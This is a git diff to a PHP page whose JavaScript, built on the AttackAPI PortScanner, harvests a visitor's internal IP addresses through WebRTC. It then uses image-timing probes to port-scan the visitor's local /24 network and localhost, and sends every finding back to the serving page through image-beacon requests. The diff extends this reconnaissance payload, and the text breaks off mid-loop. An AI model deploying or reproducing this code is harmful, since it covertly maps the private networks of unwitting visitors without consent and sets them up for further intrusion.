diff --git a/local_network_scan.php b/local_network_scan.php index 92d8c89..cf6c815 100644 --- a/local_network_scan.php +++ b/local_network_scan.php @@ -1,17 +1,58 @@ + + +function report( data ){ + new Image().src = '?'+data; +} + + +function ports_callback( host, port, state, srcip ){ if( state == "closed" ) return; // console.log( host, port, state ); - report( "openport=" + host + ":" + port + "&srcip=" + AttackAPI.PortScanner.src ); + report( "openport=" + host + ":" + port + "&srcip=" + srcip ); } var AttackAPI = { @@ -20,11 +61,11 @@ var AttackAPI = { homepage: 'http://www.gnucitizen.org'}; AttackAPI.PortScanner = {}; -AttackAPI.PortScanner.ports = '445,139,135,3389,80,23,443,3306,21,22,25,110,143,53,8080,1723,111,995,993,5900,1025,587,8888,199,1720,465,548,113,81,6001'.split(',') +AttackAPI.PortScanner.ports = '445,3389,80,443,3306,8080,1723,5900,1025,8888,199,1720,81,6001'.split(',') AttackAPI.PortScanner.port_index = 0; AttackAPI.PortScanner.host_num = 1; AttackAPI.PortScanner.src = ''; -AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout) { +AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout, srcip ) { var timeout = (timeout == null)?100:timeout; var img = new Image(); // console.log( "Scanning " + target + ":" + port ); @@ -32,7 +73,7 @@ AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout) { img.onerror = function () { if (!img) return; img = undefined; - callback(target, port, 'open'); + callback(target, port, 'open', srcip ); }; img.onload = img.onerror; @@ -42,27 +83,28 @@ AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout) { if (!img) return; img.src = 'http://localhost/icon.png'; img = undefined; - callback(target, port, 'closed'); + callback(target, port, 'closed', srcip ); }, timeout); }; AttackAPI.PortScanner.scanTarget = function (callback, target, ports, timeout) { + var ports = (ports == null) ? AttackAPI.PortScanner.ports : ports; + var timeout = (timeout == null)?100:timeout; for (index = 0; index < ports.length; index++) - AttackAPI.PortScanner.scanPort(callback, target, ports[index], timeout); + AttackAPI.PortScanner.scanPort(callback, target, ports[index], timeout, target ); }; // Scan a /24 around an IP AttackAPI.PortScanner.scanNetwork = function ( callback, target ) { if( target.toLowerCase() == 'udp' ) return; - AttackAPI.PortScanner.src = target; a = target.split('.'); - AttackAPI.PortScanner.scanPort( callback, a[0]+'.'+a[1]+'.'+a[2]+'.'+AttackAPI.PortScanner.host_num, AttackAPI.PortScanner.ports[AttackAPI.PortScanner.port_index]); + AttackAPI.PortScanner.scanPort( callback, a[0]+'.'+a[1]+'.'+a[2]+'.'+AttackAPI.PortScanner.host_num, AttackAPI.PortScanner.ports[AttackAPI.PortScanner.port_index], 100, target ); AttackAPI.PortScanner.host_num++; if( AttackAPI.PortScanner.host_num >= 255 ){ AttackAPI.PortScanner.port_index++; if( AttackAPI.PortScanner.port_index >= AttackAPI.PortScanner.ports.length ){ - report( "scancomplete" ); + report( "scancomplete&srcip=" + target ); return; } AttackAPI.PortScanner.host_num = 1; @@ -102,6 +144,7 @@ if (RTCPeerConnection) (function () { var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); displayAddrs = displayAddrs.filter(function(ip){ return ip.toString().trim().toLowerCase() != 'udp';}); report( "internalips=" + displayAddrs.join(',') || 'n/a' ); + AttackAPI.PortScanner.scanTarget( ports_callback, '127.0.0.1' ); for( i=0; i